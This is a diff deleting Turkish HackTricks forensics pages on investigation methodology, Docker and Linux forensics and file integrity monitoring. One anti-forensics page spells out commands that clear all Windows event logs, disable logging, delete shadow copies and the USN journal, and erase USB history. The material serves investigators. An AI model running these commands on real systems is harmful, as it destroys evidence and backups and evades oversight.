{{#include ../banners/hacktricks-training.md}}

View File

@ -1,82 +0,0 @@
# Temel Adli Metodoloji
{{#include ../../banners/hacktricks-training.md}}
## Bir Görüntü Oluşturma ve Bağlama
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Kötü Amaçlı Yazılım Analizi
Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosya, dosya sistemi görüntüsü, bellek görüntüsü, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**:
{{#ref}}
malware-analysis.md
{{#endref}}
## Bir Görüntüyü İnceleme
Eğer size bir **adli görüntü** verilirse, **bölümleri, kullanılan dosya sistemini** analiz etmeye ve potansiyel olarak **ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır:
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi
Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **numara** faydalı olabilir.\
Bazı ilginç numaraları öğrenmek için aşağıdaki sayfayı okuyun:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Özel olarak şu sayfayı belirtmek istiyorum:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Bellek Dökümü İncelemesi
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Pcap İncelemesi
{{#ref}}
pcap-inspection/
{{#endref}}
## **Anti-Adli Teknikler**
Anti-adli tekniklerin olası kullanımını aklınızda bulundurun:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
## Tehdit Avı
{{#ref}}
file-integrity-monitoring.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,151 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Zaman Damgaları
Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\
Zaman damgalarını, `$STANDARD_INFORMATION`**ve**`$FILE_NAME` öznitelikleri içinde MFT'de bulmak mümkündür.
Her iki öznitelikte de 4 zaman damgası vardır: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB).
**Windows Gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir.
## TimeStomp - Anti-forensic Aracı
Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ama** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür.
## Usnjrnl
**USN Journal** (Güncelleme Sırası Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesini sağlar.
![](<../../images/image (449).png>)
Önceki resim, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**.
## $LogFile
**Bir dosya sistemine yapılan tüm meta veri değişiklikleri**, [ön yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri belirlemek için kullanılabilir.
![](<../../images/image (450).png>)
Yine, aracın çıktısında **bazı değişikliklerin yapıldığını** görmek mümkündür.
Aynı aracı kullanarak, **zaman damgalarının hangi zamana kadar değiştirildiğini** belirlemek mümkündür:
![](<../../images/image (451).png>)
- CTIME: Dosyanın oluşturulma zamanı
- ATIME: Dosyanın değiştirilme zamanı
- MTIME: Dosyanın MFT kayıt değişikliği
- RTIME: Dosyanın erişim zamanı
## `$STANDARD_INFORMATION` ve `$FILE_NAME` karşılaştırması
Şüpheli değiştirilmiş dosyaları belirlemenin bir diğer yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzluklar** aramaktır.
## Nanosecond
**NTFS** zaman damgalarının **kesinliği** **100 nanosecond**'dir. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaları bulmak **çok şüphelidir**.
## SetMace - Anti-forensic Aracı
Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemine ihtiyaç vardır.
# Veri Gizleme
NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kapladığında, **kalan yarımın asla kullanılmayacağı** anlamına gelir, ta ki dosya silinene kadar. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**.
Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir:
![](<../../images/image (452).png>)
Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkündür. Bu tür araçların içeriği obfuscate veya hatta şifreli olarak kaydedebileceğini unutmayın.
# UsbKill
Bu, **USB** portlarında herhangi bir değişiklik tespit edildiğinde bilgisayarı **kapatan** bir araçtır.\
Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir çalışan python betiğini gözden geçirmektir**.
# Canlı Linux Dağıtımları
Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespit etmenin tek yolu, **NTFS dosya sisteminin yazma izinleriyle monte edilmesidir**. Sadece okuma izinleriyle monte edilirse, ihlali tespit etmek mümkün olmayacaktır.
# Güvenli Silme
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Windows Yapılandırması
Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlükleme yöntemini devre dışı bırakmak mümkündür.
## Zaman Damgalarını Devre Dışı Bırak - UserAssist
Bu, her çalıştırılan yürütülebilir dosyanın tarihlerini ve saatlerini koruyan bir kayıt anahtarıdır.
UserAssist'i devre dışı bırakmak iki adım gerektirir:
1. UserAssist'i devre dışı bırakmak istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt anahtarını sıfıra ayarlayın.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>` gibi görünen kayıt alt ağaçlarınızı temizleyin.
## Zaman Damgalarını Devre Dışı Bırak - Prefetch
Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi kaydedecektir. Ancak, bu adli uygulamalar için de faydalı olabilir.
- `regedit` çalıştırın
- Dosya yolunu `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` seçin
- `EnablePrefetcher` ve `EnableSuperfetch` üzerinde sağ tıklayın
- Her birinin değerini 1 (veya 3) yerine 0 olarak değiştirmek için Değiştir'i seçin
- Yeniden başlatın
## Zaman Damgalarını Devre Dışı Bırak - Son Erişim Zamanı
Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör için **bir zaman damgası alanını güncellemek için zamanı alır**, buna son erişim zamanı denir. Yoğun kullanılan bir NTFS hacminde, bu performansı etkileyebilir.
1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın.
2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin.
3. `NtfsDisableLastAccessUpdate`'i arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlemi devre dışı bırakacaktır.
4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın.
## USB Geçmişini Sil
Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya Dizüstü Bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek** USB geçmişini sileceksiniz.\
Ayrıca, bunları sildiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını da kullanabilirsiniz (ve silmek için).
USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir.
## Gölge Kopyalarını Devre Dışı Bırak
**Gölge kopyaları** listelemek için `vssadmin list shadowstorage`\
**Silmek** için `vssadmin delete shadow` komutunu çalıştırın.
Ayrıca, [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) adresinde önerilen adımları izleyerek GUI üzerinden de silebilirsiniz.
Gölge kopyalarını devre dışı bırakmak için [buradaki adımları](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows) izleyin:
1. Windows başlat düğmesine tıkladıktan sonra metin arama kutusuna "services" yazarak Hizmetler programınıın.
2. Listeden "Hacim Gölge Kopyası"nı bulun, seçin ve sağ tıklayarak Özellikler'e erişin.
3. "Başlangıç türü" açılır menüsünden Devre Dışı seçeneğini seçin ve ardından değişikliği onaylamak için Uygula ve Tamam'a tıklayın.
Hangi dosyaların gölge kopyasında kopyalanacağını yapılandırmayı da kayıt defterinde `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` ile değiştirmek mümkündür.
## Silinmiş Dosyaları Üzerine Yaz
- **Windows aracı** kullanabilirsiniz: `cipher /w:C` Bu, şifreleme aracına C sürücüsündeki kullanılmayan disk alanından herhangi bir veriyi kaldırmasını belirtir.
- Ayrıca, [**Eraser**](https://eraser.heidi.ie) gibi araçlar da kullanabilirsiniz.
## Windows Olay Günlüklerini Sil
- Windows + R --> eventvwr.msc --> "Windows Günlükleri"ni genişletin --> Her kategoriye sağ tıklayın ve "Günlüğü Temizle"yi seçin
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Windows Olay Günlüklerini Devre Dışı Bırak
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
- Hizmetler bölümünde "Windows Olay Günlüğü" hizmetini devre dışı bırakın
- `WEvtUtil.exec clear-log` veya `WEvtUtil.exe cl`
## $UsnJrnl'yi Devre Dışı Bırak
- `fsutil usn deletejournal /d c:`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,96 +0,0 @@
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Container modification
Bazı docker konteynerlerinin tehlikeye atıldığına dair şüpheler var:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Bu konteynerde **görüntü ile ilgili yapılan değişiklikleri kolayca bulabilirsiniz**:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Önceki komutta **C** **Değiştirildi** ve **A,** **Eklendi** anlamına gelir.\
Eğer `/etc/shadow` gibi ilginç bir dosyanın değiştirildiğini bulursanız, kötü niyetli etkinlikleri kontrol etmek için dosyayı konteynerden indirmek için:
```bash
docker cp wordpress:/etc/shadow.
```
Aynı zamanda **orijinal olanla karşılaştırabilirsiniz** yeni bir konteyner çalıştırarak ve içinden dosyayı çıkararak:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Eğer **şüpheli bir dosyanın eklendiğini** bulursanız, konteynıra erişip kontrol edebilirsiniz:
```bash
docker exec -it wordpress bash
```
## Görüntü Modifikasyonları
Bir dışa aktarılmış docker görüntüsü (muhtemelen `.tar` formatında) verildiğinde, **değişikliklerin bir özetini çıkarmak için** [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) kullanabilirsiniz:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Ardından, görüntüyü **açabilirsiniz** ve **blob'lara erişebilirsiniz**; böylece değişiklik geçmişinde bulmuş olabileceğiniz şüpheli dosyaları arayabilirsiniz:
```bash
tar -xf image.tar
```
### Temel Analiz
Görüntüden **temel bilgiler** alabilirsiniz:
```bash
docker inspect <image>
```
Ayrıca **değişiklikler tarihi** özeti alabilirsiniz:
```bash
docker history --no-trunc <image>
```
Bir **görüntüden dockerfile oluşturabilirsiniz**:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Docker görüntülerinde eklenmiş/değiştirilmiş dosyaları bulmak için [**dive**](https://github.com/wagoodman/dive) (bunu [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0) üzerinden indirin) aracını da kullanabilirsiniz:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Bu, **docker görüntülerinin farklı blob'ları arasında gezinmenizi** ve hangi dosyaların değiştirildiğini/eklendiğini kontrol etmenizi sağlar. **Kırmızı** eklenmiş anlamına gelir ve **sarı** değiştirilmiş anlamına gelir. Diğer görünüme geçmek için **tab** tuşunu ve klasörleri daraltmak/açmak için **space** tuşunu kullanın.
Die ile görüntünün farklı aşamalarının içeriğine erişemeyeceksiniz. Bunu yapmak için **her katmanı sıkıştırmanız ve erişmeniz** gerekecek.\
Görüntü sıkıştırıldığında, görüntüden tüm katmanları sıkıştırmak için şu dizinde çalıştırabilirsiniz:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Bellekten Kimlik Bilgileri
Bir docker konteynerini bir ana bilgisayar içinde çalıştırdığınızda **ana bilgisayardan konteynerde çalışan süreçleri görebileceğinizi** unutmayın, sadece `ps -ef` komutunu çalıştırarak.
Bu nedenle (root olarak) **ana bilgisayardan süreçlerin belleğini dökebilir** ve **kimlik bilgilerini** arayabilirsiniz, [**aşağıdaki örnekteki gibi**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Temel
Bir temel, bir sistemin belirli bölümlerinin anlık görüntüsünü almayı içerir ve **değişiklikleri vurgulamak için gelecekteki bir durumla karşılaştırma yapar**.
Örneğin, dosya sistemindeki her dosyanın hash'ini hesaplayıp saklayarak hangi dosyaların değiştirildiğini bulabilirsiniz.\
Bu, oluşturulan kullanıcı hesapları, çalışan süreçler, çalışan hizmetler ve çok fazla değişmemesi gereken veya hiç değişmemesi gereken diğer şeyler için de yapılabilir.
## Dosya Bütünlüğü İzleme
Dosya Bütünlüğü İzleme (FIM), dosyalardaki değişiklikleri izleyerek BT ortamlarını ve verileri koruyan kritik bir güvenlik tekniğidir. İki ana adımı içerir:
1. **Temel Karşılaştırması:** Değişiklikleri tespit etmek için gelecekteki karşılaştırmalar için dosya özellikleri veya kriptografik kontrol toplamları (MD5 veya SHA-2 gibi) kullanarak bir temel oluşturun.
2. **Gerçek Zamanlı Değişiklik Bildirimi:** Dosyalar erişildiğinde veya değiştirildiğinde, genellikle işletim sistemi çekirdek uzantıları aracılığıyla anında bildirim alın.
## Araçlar
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
## Referanslar
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,370 +0,0 @@
# Linux Forensics
{{#include ../../banners/hacktricks-training.md}}
## İlk Bilgi Toplama
### Temel Bilgiler
Öncelikle, üzerinde **iyi bilinen ikili dosyalar ve kütüphaneler bulunan bir **USB** bulundurmanız önerilir** (sadece ubuntu alıp _/bin_, _/sbin_, _/lib,_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve bu ikili dosyaları kullanmak için çevre değişkenlerini değiştirin:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Sistemi iyi ve bilinen ikili dosyaları kullanacak şekilde yapılandırdıktan sonra **bazı temel bilgileri çıkarmaya** başlayabilirsiniz:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
free #Meam and swap space
w #Who is connected
last -Faiwx #Logins
lsmod #What is loaded
cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
#### Şüpheli bilgiler
Temel bilgileri elde ederken, tuhaf şeyler için kontrol etmelisiniz:
- **Root süreçleri** genellikle düşük PID'lerle çalışır, bu yüzden büyük bir PID ile bir root süreci bulursanız şüphelenebilirsiniz.
- `/etc/passwd` içinde bir shell'i olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin.
- Shell'i olmayan kullanıcılar için `/etc/shadow` içinde **şifre hash'lerini** kontrol edin.
### Bellek Dökümü
Çalışan sistemin belleğini elde etmek için [**LiME**](https://github.com/504ensicsLabs/LiME) kullanmanız önerilir.\
Bunu **derlemek** için, kurban makinesinin kullandığı **aynı çekirdek** ile çalışmalısınız.
> [!NOTE]
> Kurban makinesine **LiME veya başka bir şey** yükleyemeyeceğinizi unutmayın, çünkü bu makinede birçok değişiklik yapacaktır.
Bu nedenle, eğer aynı Ubuntu sürümüne sahipseniz `apt-get install lime-forensics-dkms` kullanabilirsiniz.\
Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME) github'dan indirmeniz ve doğru çekirdek başlıkları ile derlemeniz gerekir. Kurban makinesinin **tam çekirdek başlıklarını** elde etmek için, sadece `/lib/modules/<kernel version>` dizinini makinenize **kopyalayabilir** ve ardından bunları kullanarak LiME'yi **derleyebilirsiniz**:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
LiME 3 **formatı** destekler:
- Ham (her segment bir araya getirilmiş)
- Doldurulmuş (ham ile aynı, ancak sağ bitlerde sıfırlarla)
- Lime (meta verilerle önerilen format)
LiME ayrıca **dökümü ağ üzerinden göndermek için** de kullanılabilir, bunu yapmak için şöyle bir şey kullanabilirsiniz: `path=tcp:4444`
### Disk Görüntüleme
#### Kapatma
Öncelikle, **sistemi kapatmanız** gerekecek. Bu her zaman bir seçenek değildir çünkü bazen sistem, şirketin kapatmayı göze alamayacağı bir üretim sunucusu olacaktır.\
Sistemi kapatmanın **2 yolu** vardır, bir **normal kapatma** ve bir **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlanmasına** ve **dosya sisteminin** **senkronize edilmesine** izin verir, ancak aynı zamanda olası **kötü amaçlı yazılımın** **kanıtları yok etmesine** de olanak tanır. "Fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (çok fazla bilgi kaybolmayacak çünkü zaten belleğin bir görüntüsünü aldık) ve **kötü amaçlı yazılımın** bununla ilgili bir şey yapma fırsatı olmayacaktır. Bu nedenle, eğer **kötü amaçlı yazılım** olabileceğinden **şüpheleniyorsanız**, sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskin görüntüsünü alma
**Dava ile ilgili herhangi bir şeye bilgisayarınızı bağlamadan önce**, bunun **sadece okunur olarak monte edileceğinden** emin olmanız önemlidir, böylece herhangi bir bilgiyi değiştirmemiş olursunuz.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
### Disk Image ön analizi
Veri kalmayan bir disk görüntüsünü görüntüleme.
```bash
#Find out if it's a disk image using "file" command
file disk.img
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
#Check which type of disk image it's
img_stat -t evidence.img
raw
#You can list supported types with
img_stat -i list
Supported image format types:
raw (Single or split raw file (dd))
aff (Advanced Forensic Format)
afd (AFF Multiple File)
afm (AFF with external metadata)
afflib (All AFFLIB image formats (including beta ones))
ewf (Expert Witness Format (EnCase))
#Data of the image
fsstat -i raw -f ext4 disk.img
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext4
Volume Name:
Volume ID: 162850f203fd75afab4f1e4736a7e776
Last Written at: 2020-02-06 06:22:48 (UTC)
Last Checked at: 2020-02-06 06:15:09 (UTC)
Last Mounted at: 2020-02-06 06:15:18 (UTC)
Unmounted properly
Last mounted on: /mnt/disk0
Source OS: Linux
[...]
#ls inside the image
fls -i raw -f ext4 disk.img
d/d 11: lost+found
d/d 12: Documents
d/d 8193: folder1
d/d 8194: folder2
V/V 65537: $OrphanFiles
#ls inside folder
fls -i raw -f ext4 disk.img 12
r/r 16: secret.txt
#cat file inside image
icat -i raw -f ext4 disk.img 16
ThisisTheMasterSecret
```
## Bilinen Kötü Amaçlı Yazılımları Ara
### Değiştirilmiş Sistem Dosyaları
Linux, potansiyel olarak sorunlu dosyaları tespit etmek için kritik olan sistem bileşenlerinin bütünlüğünü sağlamak için araçlar sunar.
- **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
- **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` (önce `apt-get install debsums` ile `debsums` yükledikten sonra) ile herhangi bir sorunu tespit edin.
### Kötü Amaçlı Yazılım/Rootkit Tespit Cihazları
Kötü amaçlı yazılımları bulmak için faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
{{#ref}}
malware-analysis.md
{{#endref}}
## Yüklenmiş Programları Ara
Debian ve RedHat sistemlerinde yüklenmiş programları etkili bir şekilde aramak için, sistem günlüklerini ve veritabanlarını manuel kontrollerle birlikte kullanmayı düşünün.
- Debian için, paket yüklemeleri hakkında bilgi almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını kontrol edin, belirli bilgileri filtrelemek için `grep` kullanın.
- RedHat kullanıcıları, yüklenmiş paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
Bu paket yöneticileri dışında manuel olarak yüklenmiş yazılımları ortaya çıkarmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Bilinen paketlerle ilişkilendirilmemiş çalıştırılabilir dosyaları tanımlamak için dizin listelemelerini sistem spesifik komutlarla birleştirerek tüm yüklenmiş programlar için aramanızı geliştirin.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
cat /var/log/dpkg.log | grep installed
# RedHat RPM database query
rpm -qa --root=/mntpath/var/lib/rpm
# Listing directories for manual installations
ls /usr/sbin /usr/bin /bin /sbin
# Identifying non-package executables (Debian)
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
# Identifying non-package executables (RedHat)
find /sbin/ exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Silinmiş Çalışan İkili Dosyaları Kurtarma
/tmp/exec konumundan çalıştırılan ve ardından silinen bir süreci hayal edin. Onu çıkarmak mümkündür.
```bash
cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Autostart konumlarını incele
### Zamanlanmış Görevler
```bash
cat /var/spool/cron/crontabs/* \
/var/spool/cron/atjobs \
/var/spool/anacron \
/etc/cron* \
/etc/at* \
/etc/anacrontab \
/etc/incron.d/* \
/var/spool/incron/* \
#MacOS
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
### Hizmetler
Kötü amaçlı yazılımın bir hizmet olarak kurulabileceği yollar:
- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlatma betiklerine yönlendirir.
- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi daha eski Linux sürümlerinde bulunur.
- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlatma betiklerini depolamak için kullanılır.
- Hizmetler, Linux varyantına bağlı olarak **/etc/inetd.conf** veya **/etc/xinetd/** aracılığıyla da etkinleştirilebilir.
- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin.
- **/etc/systemd/system/multi-user.target.wants/**: Çok kullanıcılı çalışma seviyesinde başlatılması gereken hizmetlere bağlantılar içerir.
- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetler için.
- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı hedefli kötü amaçlı yazılımlar için bir saklanma yeri olabilir.
- **/lib/systemd/system/**: Yüklenmiş paketler tarafından sağlanan sistem genelindeki varsayılan birim dosyaları.
### Çekirdek Modülleri
Kötü amaçlı yazılım tarafından genellikle rootkit bileşenleri olarak kullanılan Linux çekirdek modülleri, sistem önyüklemesi sırasında yüklenir. Bu modüller için kritik dizinler ve dosyalar şunlardır:
- **/lib/modules/$(uname -r)**: Çalışan çekirdek sürümü için modülleri tutar.
- **/etc/modprobe.d**: Modül yüklemeyi kontrol eden yapılandırma dosyalarını içerir.
- **/etc/modprobe** ve **/etc/modprobe.conf**: Küresel modül ayarları için dosyalar.
### Diğer Otomatik Başlatma Yerleri
Linux, kullanıcı girişi sırasında programları otomatik olarak çalıştırmak için çeşitli dosyalar kullanır, bu da kötü amaçlı yazılımları barındırma potansiyeline sahiptir:
- **/etc/profile.d/**\*, **/etc/profile**, ve **/etc/bash.bashrc**: Herhangi bir kullanıcı girişi için çalıştırılır.
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, ve **\~/.config/autostart**: Kullanıcıya özgü dosyalar, kullanıcı girişi sırasında çalışır.
- **/etc/rc.local**: Tüm sistem hizmetleri başlatıldıktan sonra çalışır, çok kullanıcılı bir ortama geçişin sonunu işaret eder.
## Günlükleri İnceleyin
Linux sistemleri, kullanıcı etkinliklerini ve sistem olaylarını çeşitli günlük dosyaları aracılığıyla takip eder. Bu günlükler, yetkisiz erişimi, kötü amaçlı yazılım enfeksiyonlarını ve diğer güvenlik olaylarını tanımlamak için kritik öneme sahiptir. Anahtar günlük dosyaları şunlardır:
- **/var/log/syslog** (Debian) veya **/var/log/messages** (RedHat): Sistem genelindeki mesajları ve etkinlikleri yakalar.
- **/var/log/auth.log** (Debian) veya **/var/log/secure** (RedHat): Kimlik doğrulama girişimlerini, başarılı ve başarısız girişleri kaydeder.
- İlgili kimlik doğrulama olaylarını filtrelemek için `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` komutunu kullanın.
- **/var/log/boot.log**: Sistem başlatma mesajlarını içerir.
- **/var/log/maillog** veya **/var/log/mail.log**: E-posta sunucusu etkinliklerini kaydeder, e-posta ile ilgili hizmetleri takip etmek için yararlıdır.
- **/var/log/kern.log**: Hata ve uyarılar da dahil olmak üzere çekirdek mesajlarını saklar.
- **/var/log/dmesg**: Aygıt sürücü mesajlarını tutar.
- **/var/log/faillog**: Başarısız giriş girişimlerini kaydeder, güvenlik ihlali soruşturmalarına yardımcı olur.
- **/var/log/cron**: Cron işlerinin yürütülmelerini kaydeder.
- **/var/log/daemon.log**: Arka plan hizmeti etkinliklerini takip eder.
- **/var/log/btmp**: Başarısız giriş girişimlerini belgeler.
